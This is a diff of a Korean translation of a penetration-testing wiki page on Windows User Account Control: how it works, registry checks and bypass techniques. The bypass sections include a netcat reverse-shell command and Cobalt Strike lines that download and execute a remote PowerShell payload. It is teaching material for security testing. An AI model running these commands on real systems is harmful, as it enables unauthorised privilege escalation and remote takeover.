|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 참고 및 주의사항
|
||||||
|
|
||||||
|
- x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하므로 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다.
|
||||||
|
- SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선 사용하십시오; 그렇지 않으면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요.
|
||||||
|
- 충돌 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다.
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||||
|
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||||
|
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||||
|
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
@ -1,121 +1,122 @@
|
|||||||
# UAC - 사용자 계정 컨트롤
|
# UAC - User Account Control
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## UAC
|
## UAC
|
||||||
|
|
||||||
[사용자 계정 컨트롤 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)는 **승격된 활동에 대한 동의 프롬프트**를 활성화하는 기능입니다. 애플리케이션은 서로 다른 `무결성` 수준을 가지며, **높은 수준**의 프로그램은 **시스템을 잠재적으로 손상시킬 수 있는 작업**을 수행할 수 있습니다. UAC가 활성화되면 애플리케이션과 작업은 항상 **비관리자 계정의 보안 컨텍스트에서 실행**되며, 관리자가 명시적으로 이러한 애플리케이션/작업이 시스템에 대한 관리자 수준의 접근을 허용하지 않는 한 그렇습니다. 이는 관리자가 의도하지 않은 변경으로부터 보호하는 편의 기능이지만 보안 경계로 간주되지는 않습니다.
|
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 는 **권한 상승 작업에 대한 동의 프롬프트(consent prompt)를 제공하는 기능**입니다. 애플리케이션은 서로 다른 `integrity` 레벨을 가지며, **높은 레벨**의 프로그램은 **시스템을 손상시킬 수 있는 작업**을 수행할 수 있습니다. UAC가 활성화되어 있으면, 관리자가 해당 애플리케이션/작업에 관리자 수준 접근을 명시적으로 허용하지 않는 한 애플리케이션과 작업은 항상 **비관리자 계정의 보안 컨텍스트로 실행됩니다**. 이는 관리자가 의도치 않은 변경으로부터 보호하기 위한 편의 기능이나 보안 경계(security boundary)로 간주되지는 않습니다.
|
||||||
|
|
||||||
|
For more info about integrity levels:
|
||||||
|
|
||||||
무결성 수준에 대한 추가 정보는 다음을 참조하십시오:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../windows-local-privilege-escalation/integrity-levels.md
|
../windows-local-privilege-escalation/integrity-levels.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
UAC가 설정되면 관리자 사용자에게는 2개의 토큰이 제공됩니다: 일반 사용자 키로, 일반 수준에서 정기적인 작업을 수행하고, 관리자 권한이 있는 하나입니다.
|
UAC가 적용되면, 관리자 사용자는 두 개의 토큰을 부여받습니다: 일반 작업을 수행하는 표준 사용자 토큰과 관리자 권한을 가진 토큰입니다.
|
||||||
|
|
||||||
이 [페이지](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)에서는 UAC의 작동 방식에 대해 깊이 논의하며, 로그인 프로세스, 사용자 경험 및 UAC 아키텍처를 포함합니다. 관리자는 보안 정책을 사용하여 UAC가 조직에 맞게 작동하도록 구성할 수 있으며, 로컬 수준에서 (secpol.msc 사용) 또는 Active Directory 도메인 환경에서 그룹 정책 개체(GPO)를 통해 구성하고 배포할 수 있습니다. 다양한 설정에 대한 자세한 내용은 [여기](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)에서 논의됩니다. UAC에 대해 설정할 수 있는 그룹 정책 설정은 10개가 있습니다. 다음 표는 추가 세부 정보를 제공합니다:
|
이 [페이지](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 에서는 UAC의 동작을 심도 있게 설명하며 로그온 프로세스, 사용자 경험 및 UAC 아키텍처를 포함합니다. 관리자는 조직에 맞게 로컬 수준에서 보안 정책(secpol.msc)을 사용하여 UAC 동작을 구성하거나 Active Directory 도메인 환경에서 Group Policy Objects(GPO)를 통해 구성·배포할 수 있습니다. 다양한 설정은 [여기](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)에서 자세히 설명되어 있습니다. UAC에 대해 설정할 수 있는 Group Policy 설정은 10가지가 있으며, 아래 표는 추가 세부 정보를 제공합니다:
|
||||||
|
|
||||||
| 그룹 정책 설정 | 레지스트리 키 | 기본 설정 |
|
| Group Policy Setting | Registry Key | Default Setting |
|
||||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||||
| [사용자 계정 컨트롤: 내장 관리자 계정에 대한 관리자 승인 모드](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 비활성화 |
|
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled |
|
||||||
| [사용자 계정 컨트롤: UIAccess 애플리케이션이 보안 데스크탑을 사용하지 않고 승격을 요청할 수 있도록 허용](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 비활성화 |
|
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
|
||||||
| [사용자 계정 컨트롤: 관리자에 대한 승격 프롬프트의 동작](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 비Windows 바이너리에 대한 동의 요청 |
|
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||||
| [사용자 계정 컨트롤: 일반 사용자에 대한 승격 프롬프트의 동작](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | 보안 데스크탑에서 자격 증명 요청 |
|
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
|
||||||
| [사용자 계정 컨트롤: 애플리케이션 설치 감지 및 승격 요청](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 활성화 (홈 기본값) 비활성화 (기업 기본값) |
|
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
|
||||||
| [사용자 계정 컨트롤: 서명되고 검증된 실행 파일만 승격](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 비활성화 |
|
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
|
||||||
| [사용자 계정 컨트롤: 보안 위치에 설치된 UIAccess 애플리케이션만 승격](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | 활성화 |
|
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
|
||||||
| [사용자 계정 컨트롤: 모든 관리자를 관리자 승인 모드에서 실행](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | 활성화 |
|
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
|
||||||
| [사용자 계정 컨트롤: 승격 요청 시 보안 데스크탑으로 전환](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | 활성화 |
|
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
|
||||||
| [사용자 계정 컨트롤: 파일 및 레지스트리 쓰기 실패를 사용자별 위치로 가상화](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 활성화 |
|
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
|
||||||
|
|
||||||
### UAC 우회 이론
|
### UAC 우회 이론
|
||||||
|
|
||||||
일부 프로그램은 **사용자가** **관리자 그룹에 속하는 경우** **자동으로 승격**됩니다. 이러한 바이너리는 _**매니페스트**_ 내에 _**autoElevate**_ 옵션이 _**True**_ 값으로 설정되어 있습니다. 바이너리는 또한 **Microsoft에 의해 서명**되어야 합니다.
|
일부 프로그램은 사용자가 **administrator group**에 속해 있으면 **autoelevated automatically** 됩니다. 이러한 바이너리들은 내부 _**Manifests**_에 _**autoElevate**_ 옵션이 _**True**_로 설정되어 있습니다. 또한 해당 바이너리는 **signed by Microsoft** 되어 있어야 합니다.
|
||||||
|
|
||||||
많은 자동 승격 프로세스는 **COM 객체 또는 RPC 서버를 통해 기능을 노출**하며, 이는 중간 무결성(일반 사용자 수준 권한)으로 실행되는 프로세스에서 호출할 수 있습니다. COM(구성 요소 객체 모델) 및 RPC(원격 프로시저 호출)는 Windows 프로그램이 서로 다른 프로세스 간에 통신하고 기능을 실행하는 데 사용하는 방법입니다. 예를 들어, **`IFileOperation COM 객체`**는 파일 작업(복사, 삭제, 이동)을 처리하도록 설계되었으며, 프롬프트 없이 자동으로 권한을 승격할 수 있습니다.
|
많은 auto-elevate 프로세스는 **COM objects 또는 RPC servers를 통해 기능을 노출**하며, 이는 medium integrity(일반 사용자 권한)로 실행되는 프로세스에서 호출될 수 있습니다. 참고로 COM(Component Object Model)과 RPC(Remote Procedure Call)는 Windows 프로그램이 서로 다른 프로세스 간에 통신하고 기능을 실행하는 방법입니다. 예를 들어, **`IFileOperation COM object`**은 파일 작업(복사, 삭제, 이동)을 처리하도록 설계되었으며 프롬프트 없이 권한을 자동으로 상승시킬 수 있습니다.
|
||||||
|
|
||||||
일부 검사가 수행될 수 있으며, 예를 들어 **System32 디렉토리**에서 프로세스가 실행되었는지 확인하는 것이 있으며, 이는 예를 들어 **explorer.exe** 또는 다른 System32에 위치한 실행 파일에 주입하여 우회할 수 있습니다.
|
일부 검사가 수행될 수 있다는 점을 주의해야 하는데, 예를 들어 프로세스가 **System32 directory**에서 실행되었는지 확인하는 검사 등이 있습니다. 이는 예를 들어 **injecting into explorer.exe** 또는 다른 System32에 위치한 실행 파일로 인젝션하여 우회할 수 있습니다.
|
||||||
|
|
||||||
이러한 검사를 우회하는 또 다른 방법은 **PEB 수정**입니다. Windows의 모든 프로세스는 프로세스 환경 블록(PEB)을 가지며, 여기에는 프로세스에 대한 중요한 데이터가 포함되어 있습니다. PEB를 수정함으로써 공격자는 자신의 악성 프로세스의 위치를 위조하여 신뢰할 수 있는 디렉토리(예: system32)에서 실행되는 것처럼 보이게 할 수 있습니다. 이 위조된 정보는 COM 객체를 속여 프롬프트 없이 권한을 자동으로 승격하게 만듭니다.
|
이러한 검사들을 우회하는 또 다른 방법은 **PEB를 수정(modify the PEB)** 하는 것입니다. Windows의 모든 프로세스는 Process Environment Block(PEB)을 가지며, 여기에는 실행 파일 경로 같은 프로세스에 대한 중요한 데이터가 포함되어 있습니다. PEB를 수정하면 공격자는 자신의 악성 프로세스의 위치를 위조(spoof)하여 신뢰된 디렉터리(예: system32)에서 실행되는 것처럼 보이게 할 수 있습니다. 이렇게 위조된 정보는 COM 객체를 속여 사용자에게 프롬프트를 표시하지 않고 권한을 자동으로 상승시키게 합니다.
|
||||||
|
|
||||||
그런 다음 **UAC**를 **우회**하기 위해 (무결성 수준 **중간**에서 **높음**으로 승격) 일부 공격자는 이러한 종류의 바이너리를 사용하여 **임의 코드를 실행**합니다. 이는 **높은 무결성 프로세스**에서 실행되기 때문입니다.
|
그 결과, UAC를 **bypass**(medium integrity 레벨에서 **high**로 상승)하기 위해 일부 공격자는 이러한 종류의 바이너리를 이용해 **arbitrary code를 실행**합니다. 이는 코드가 **High level integrity process**에서 실행되기 때문입니다.
|
||||||
|
|
||||||
바이너리의 _**매니페스트**_를 확인하려면 Sysinternals의 _**sigcheck.exe**_ 도구를 사용할 수 있습니다. (`sigcheck.exe -m <file>`) 그리고 _Process Explorer_ 또는 _Process Monitor_ (Sysinternals)를 사용하여 프로세스의 **무결성 수준**을 **확인**할 수 있습니다.
|
바이너리의 _**Manifest**_를 확인하려면 Sysinternals의 도구 _**sigcheck.exe**_를 사용할 수 있습니다. (`sigcheck.exe -m <file>`) 프로세스의 **integrity level**은 _Process Explorer_ 또는 _Process Monitor_(Sysinternals)를 사용해 확인할 수 있습니다.
|
||||||
|
|
||||||
### UAC 확인
|
### Check UAC
|
||||||
|
|
||||||
UAC가 활성화되어 있는지 확인하려면 다음을 수행하십시오:
|
UAC가 활성화되어 있는지 확인하려면:
|
||||||
```
|
```
|
||||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||||
|
|
||||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||||
EnableLUA REG_DWORD 0x1
|
EnableLUA REG_DWORD 0x1
|
||||||
```
|
```
|
||||||
만약 **`1`** 이면 UAC가 **활성화**된 것이고, **`0`** 이거나 **존재하지 않으면**, UAC는 **비활성화**된 것입니다.
|
값이 **`1`**이면 UAC가 **활성화**된 것이고, 값이 **`0`**이거나 존재하지 않으면 UAC는 **비활성화**된 것입니다.
|
||||||
|
|
||||||
그 다음, **어떤 수준**이 구성되어 있는지 확인하십시오:
|
그런 다음 구성된 **레벨**을 확인하세요:
|
||||||
```
|
```
|
||||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||||
|
|
||||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||||
```
|
```
|
||||||
- **`0`**이면 UAC가 프롬프트를 표시하지 않습니다 (예: **비활성화**됨)
|
- If **`0`**이면 UAC는 프롬프트를 표시하지 않습니다(예: **비활성화됨**)
|
||||||
- **`1`**이면 관리자가 **사용자 이름과 비밀번호**를 입력하라는 요청을 받습니다 (높은 권한으로 바이너리를 실행할 때, Secure Desktop에서)
|
- If **`1`**이면 관리자는 고권한으로 바이너리를 실행하기 위해 **사용자 이름과 비밀번호를 입력하라고 요청**받습니다( on Secure Desktop)
|
||||||
- **`2`** (**항상 나에게 알림**) UAC는 관리자가 높은 권한으로 무언가를 실행하려고 할 때 항상 확인을 요청합니다 (Secure Desktop에서)
|
- If **`2`**(**항상 알림**)이면 관리자가 고권한으로 실행을 시도할 때 UAC는 항상 확인을 요청합니다( on Secure Desktop)
|
||||||
- **`3`**은 `1`과 같지만 Secure Desktop에서 필요하지 않습니다
|
- If **`3`**는 `1`과 같지만 Secure Desktop에서는 필요하지 않습니다
|
||||||
- **`4`**는 `2`와 같지만 Secure Desktop에서 필요하지 않습니다
|
- If **`4`**는 `2`와 같지만 Secure Desktop에서는 필요하지 않습니다
|
||||||
- **`5`**(**기본값**)는 관리자가 높은 권한으로 비 Windows 바이너리를 실행하기 위해 확인을 요청합니다
|
- if **`5`**(**기본값**)이면 비-Windows 바이너리를 고권한으로 실행할 때 관리자의 확인을 요구합니다
|
||||||
|
|
||||||
그런 다음 **`LocalAccountTokenFilterPolicy`**의 값을 확인해야 합니다.\
|
그다음으로 **`LocalAccountTokenFilterPolicy`** 값도 확인해야 합니다\
|
||||||
값이 **`0`**이면 **RID 500** 사용자 (**내장 관리자**)만 UAC 없이 **관리 작업**을 수행할 수 있으며, `1`이면 **"Administrators"** 그룹 내의 모든 계정이 이를 수행할 수 있습니다.
|
값이 **`0`**이면 **RID 500** 사용자(**built-in Administrator**)만 **UAC 없이 관리자 작업을 수행**할 수 있고, 값이 `1`이면 **"Administrators" 그룹에 속한 모든 계정**이 해당 작업을 수행할 수 있습니다.
|
||||||
|
|
||||||
마지막으로 **`FilterAdministratorToken`** 키의 값을 확인해야 합니다.\
|
마지막으로 키 **`FilterAdministratorToken`** 값도 확인하세요\
|
||||||
값이 **`0`**(기본값)인 경우, **내장 관리자 계정은** 원격 관리 작업을 수행할 수 있으며, **`1`**인 경우 내장 관리자 계정은 `LocalAccountTokenFilterPolicy`가 `1`로 설정되지 않는 한 원격 관리 작업을 수행할 수 없습니다.
|
값이 **`0`**(기본값)이면 **built-in Administrator 계정은** 원격 관리 작업을 수행할 수 있고, 값이 **`1`**이면 built-in Administrator 계정은 원격 관리 작업을 수행할 수 없습니다. 단, `LocalAccountTokenFilterPolicy`가 `1`로 설정된 경우는 예외입니다.
|
||||||
|
|
||||||
#### 요약
|
#### Summary
|
||||||
|
|
||||||
- `EnableLUA=0` 또는 **존재하지 않으면**, **누구에게도 UAC 없음**
|
- If `EnableLUA=0` or **존재하지 않음**, **모든 사용자에게 UAC 없음**
|
||||||
- `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=1`**이면, 누구에게도 UAC 없음
|
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , 모든 사용자에게 UAC 없음**
|
||||||
- `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=0`** 및 **`FilterAdministratorToken=0`**이면, RID 500 (내장 관리자)에게는 UAC 없음
|
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, RID 500( Built-in Administrator )에게 UAC 없음**
|
||||||
- `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=0`** 및 **`FilterAdministratorToken=1`**이면, 모두에게 UAC 있음
|
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, 모든 사용자에게 UAC 적용**
|
||||||
|
|
||||||
이 모든 정보는 **metasploit** 모듈: `post/windows/gather/win_privs`를 사용하여 수집할 수 있습니다.
|
이 모든 정보는 **metasploit** 모듈을 사용하여 수집할 수 있습니다: `post/windows/gather/win_privs`
|
||||||
|
|
||||||
사용자의 그룹을 확인하고 무결성 수준을 얻을 수도 있습니다:
|
또한 사용자 계정의 그룹을 확인하고 integrity level(무결성 수준)을 확인할 수 있습니다:
|
||||||
```
|
```
|
||||||
net user %username%
|
net user %username%
|
||||||
whoami /groups | findstr Level
|
whoami /groups | findstr Level
|
||||||
```
|
```
|
||||||
## UAC 우회
|
## UAC bypass
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 피해자에게 그래픽 접근이 가능하다면, UAC 프롬프트가 나타날 때 "예"를 클릭하면 UAC 우회가 간단합니다.
|
> 피해자에게 그래픽 접근이 가능한 경우, UAC bypass는 간단합니다 — UAC 프롬프트가 표시될 때 단순히 "Yes"를 클릭하면 됩니다
|
||||||
|
|
||||||
UAC 우회는 다음 상황에서 필요합니다: **UAC가 활성화되어 있고, 프로세스가 중간 무결성 컨텍스트에서 실행되며, 사용자가 관리자 그룹에 속하는 경우**.
|
UAC bypass는 다음 상황에서 필요합니다: **UAC가 활성화되어 있고, 프로세스가 medium integrity 컨텍스트에서 실행 중이며, 사용자가 administrators 그룹에 속해 있는 경우**.
|
||||||
|
|
||||||
UAC가 **가장 높은 보안 수준(항상)에 있을 때 우회하는 것이 다른 수준(기본)에 비해 훨씬 더 어렵다는 점을 언급하는 것이 중요합니다.**
|
특히 UAC가 최고 보안 수준(Always)에 있을 경우에는 다른 모든 레벨(Default)에 있을 때보다 **UAC를 우회하기가 훨씬 더 어렵다는 점**을 언급하는 것이 중요합니다.
|
||||||
|
|
||||||
### UAC 비활성화
|
### UAC 비활성화
|
||||||
|
|
||||||
UAC가 이미 비활성화된 경우(`ConsentPromptBehaviorAdmin`이 **`0`**) **관리자 권한으로 리버스 셸을 실행할 수 있습니다** (높은 무결성 수준) 다음과 같은 방법을 사용하여:
|
UAC가 이미 비활성화되어 있는 경우 (`ConsentPromptBehaviorAdmin`은 **`0`**) 다음과 같이 **admin privileges로 reverse shell을 실행**(high integrity level)할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
#Put your reverse shell instead of "calc.exe"
|
#Put your reverse shell instead of "calc.exe"
|
||||||
Start-Process powershell -Verb runAs "calc.exe"
|
Start-Process powershell -Verb runAs "calc.exe"
|
||||||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||||
```
|
```
|
||||||
#### UAC 우회 토큰 복제
|
#### UAC bypass with token duplication
|
||||||
|
|
||||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||||
|
|
||||||
### **매우** 기본적인 UAC "우회" (전체 파일 시스템 접근)
|
### **매우** 기본적인 UAC "bypass" (전체 파일 시스템 접근)
|
||||||
|
|
||||||
관리자 그룹에 속한 사용자로 쉘을 가지고 있다면 **C$** 공유를 SMB(파일 시스템)를 통해 새로운 디스크에 로컬로 마운트할 수 있으며, **파일 시스템 내의 모든 것에 접근할 수 있습니다** (관리자 홈 폴더 포함).
|
Administrators group에 속한 사용자로 셸을 가지고 있다면, SMB(파일 시스템)를 통해 공유된 **mount the C$**를 새 드라이브에 로컬로 마운트할 수 있으며, 그러면 파일 시스템 내부의 모든 것에 **access to everything inside the file system**(심지어 Administrator home folder까지)에 접근하게 됩니다.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **이 트릭은 더 이상 작동하지 않는 것 같습니다**
|
> **이 트릭은 더 이상 작동하지 않는 것으로 보입니다**
|
||||||
```bash
|
```bash
|
||||||
net use Z: \\127.0.0.1\c$
|
net use Z: \\127.0.0.1\c$
|
||||||
cd C$
|
cd C$
|
||||||
@ -123,9 +124,9 @@ cd C$
|
|||||||
#Or you could just access it:
|
#Or you could just access it:
|
||||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||||
```
|
```
|
||||||
### UAC 우회와 코발트 스트라이크
|
### UAC bypass with cobalt strike
|
||||||
|
|
||||||
코발트 스트라이크 기술은 UAC가 최대 보안 수준으로 설정되어 있지 않을 때만 작동합니다.
|
Cobalt Strike techniques는 UAC가 최대 보안 수준으로 설정되어 있지 않은 경우에만 작동합니다.
|
||||||
```bash
|
```bash
|
||||||
# UAC bypass via token duplication
|
# UAC bypass via token duplication
|
||||||
elevate uac-token-duplication [listener_name]
|
elevate uac-token-duplication [listener_name]
|
||||||
@ -137,18 +138,16 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
|||||||
# Bypass UAC with CMSTPLUA COM interface
|
# Bypass UAC with CMSTPLUA COM interface
|
||||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||||
```
|
```
|
||||||
**Empire**와 **Metasploit**는 **UAC**를 **우회**하기 위한 여러 모듈을 가지고 있습니다.
|
**Empire**와 **Metasploit**에는 **UAC**를 **bypass**하기 위한 여러 모듈도 있습니다.
|
||||||
|
|
||||||
### KRBUACBypass
|
### KRBUACBypass
|
||||||
|
|
||||||
문서 및 도구는 [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)에서 확인할 수 있습니다.
|
문서 및 도구: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||||
|
|
||||||
### UAC 우회 익스플로잇
|
### UAC bypass exploits
|
||||||
|
|
||||||
[**UACME**](https://github.com/hfiref0x/UACME)는 여러 UAC 우회 익스플로잇의 **컴파일**입니다. **Visual Studio 또는 msbuild를 사용하여 UACME를 컴파일해야** 한다는 점에 유의하세요. 컴파일은 여러 실행 파일을 생성합니다(예: `Source\Akagi\outout\x64\Debug\Akagi.exe`), **어떤 것이 필요한지 알아야** 합니다.\
|
[**UACME**](https://github.com/hfiref0x/UACME)은 여러 UAC bypass exploits의 **모음집**입니다. 참고로 **visual studio 또는 msbuild를 사용해 UACME를 컴파일해야 합니다**. 컴파일하면 여러 실행 파일(예: `Source\Akagi\outout\x64\Debug\Akagi.exe`)이 생성되며, **어떤 파일이 필요한지** 알아야 합니다.\
|
||||||
일부 우회는 **다른 프로그램을 알림**하여 **사용자**에게 무언가가 발생하고 있음을 **알릴 수** 있으므로 **주의해야** 합니다.
|
일부 bypasses는 **다른 프로그램을 실행하도록 유도**하여 그 프로그램들이 **사용자**에게 **무언가가 일어나고 있음을 알릴** 수 있으므로 **주의해야 합니다**.
|
||||||
|
|
||||||
UACME는 각 기술이 작동하기 시작한 **빌드 버전**을 가지고 있습니다. 귀하의 버전에 영향을 미치는 기술을 검색할 수 있습니다:
|
|
||||||
```
|
```
|
||||||
PS C:\> [environment]::OSVersion.Version
|
PS C:\> [environment]::OSVersion.Version
|
||||||
|
|
||||||
@ -156,41 +155,79 @@ Major Minor Build Revision
|
|||||||
----- ----- ----- --------
